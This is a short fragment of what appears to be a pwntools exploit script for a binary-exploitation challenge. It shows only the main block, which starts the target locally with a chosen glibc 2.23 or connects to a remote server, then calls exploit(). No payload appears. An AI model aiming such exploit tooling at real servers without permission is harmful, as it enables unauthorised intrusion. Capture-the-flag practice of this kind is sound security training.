if __name__ == '__main__':
    if LOCAL:
        libc_path = '/glibc/2.23/64/lib/libc.so.6'
        elf = ELF(elf_path)
        if LIBC:
            libc = ELF(libc_path)
            io = elf.process(env = {"LD_PRELOAD" : libc_path} )
        else:
            io = elf.process()
    else:
        elf = ELF(elf_path)
        libc_path = './libc6_2.23-0ubuntu10_amd64.so'
        libc_path = './libc6_2.23-0ubuntu3_amd64.so'
        libc_path = './libc.so.6'
        io = remote(server_ip, server_port)
        if LIBC:
            libc = ELF(libc_path)
    exploit()
    finish()